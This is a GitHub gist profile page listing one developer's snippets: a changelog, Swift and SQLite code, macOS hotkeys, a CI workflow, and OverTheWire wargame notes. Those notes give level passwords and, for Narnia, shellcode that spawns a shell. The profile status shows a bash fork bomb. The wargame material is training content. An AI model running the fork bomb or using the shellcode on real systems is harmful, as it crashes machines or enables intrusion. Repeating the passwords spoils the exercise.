Skip to content

Instantly share code, notes, and snippets.

View mattrighetti's full-sized avatar
👨‍💻
:(){ :|:& };:

Mattia Righetti mattrighetti

👨‍💻
:(){ :|:& };:
View GitHub Profile
@mattrighetti
mattrighetti / kintoun-changelog.json
Last active June 28, 2025 10:11
Kintoun Changelog
[
{
"version": "1.0",
"date": "June 11, 2025",
"changes": [
"Initial TestFlight release."
]
}
]

SQLite on iOS

This is the code for the article here

//
//  SQLiteIntroApp.swift
//  SQLiteIntro
//

import SwiftUI
import FMDB
@mattrighetti
mattrighetti / OverTheWire-Behemoth.md
Last active April 22, 2021 00:49
OverTheWire - Behemoth

Behemoth

Level 1

Password:

aesebootiv
@mattrighetti
mattrighetti / OverTheWire-Natas.md
Last active October 22, 2021 20:34
OverTheWire - Natas

Natas

Level 1

**gtVrDuiDfck831PqWsLEZy5gyDz1clto**

Level 2

**ZluruAthQk7Q2MqmDeTiUij2ZvWy2mBi**
@mattrighetti
mattrighetti / OverTheWire-Bandit.md
Last active October 22, 2021 20:36
OverTheWire - Bandit

Bandit

Level 8

cvX2JJa4CFALtqS87jk27qwqGhBM9plV

Level 9

UsvVyFSfZZWbi6wgC7dAFyFuR6jQQUhR

Level 10

@mattrighetti
mattrighetti / OverTheWire-Leviathan.md
Last active October 22, 2021 20:35
OverTheWire - Leviathan

Leviathan

Level 1

**rioGegei8m**

Level 2

**ougahZi8Ta**
@mattrighetti
mattrighetti / OverTheWire-Narnia.md
Last active April 22, 2021 00:34
OverTheWire - Narnia

Narnia

Level 1

Password: efeidiedae

Shellcode

“\xeb\x18\x5e\x31\xc0\x88\x46\x09\x89\x76\x0a\x89\x46\x0e\xb0\x0b\x89\xf3\x8d\x4e\x0a\x8d\x56\x0e\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x64\x61\x73\x68\x41\x42\x42\x42\x42\x43\x43\x43\x43”
@mattrighetti
mattrighetti / com.apple.symbolichotkeys
Created November 30, 2020 23:30
The listings below indicate the shortcut number, meaning, and what my preferences are set
https://web.archive.org/web/20141114055851/http://krypted.com/mac-os-x/defaults-symbolichotkeys/
131072: Shift
262144: Control
524288: Option
1048576: Command
Add modifier values together in the 3rd parameter to combine them.
{ AppleSymbolicHotKeys = {
@mattrighetti
mattrighetti / xctest-workflow.yml
Created October 15, 2020 22:26
A simple GitHub Action workflow that runs tests for the specified application
name: iOS Test Workflow
on:
push:
branches:
- master
pull_request:
branches:
- master
jobs:
build:
@mattrighetti
mattrighetti / navigationBarItems_util.swift
Last active July 13, 2021 13:57
This is a View extension that allows you to place other Views in the center of the NavigationView
func navigationBarItems<L, C, T>(leading: L, center: C, trailing: T) -> some View where L: View, C: View, T: View {
self.navigationBarItems(leading:
HStack{
HStack {
leading
}
.frame(width: 100, alignment: .leading)
Spacer()
HStack {
center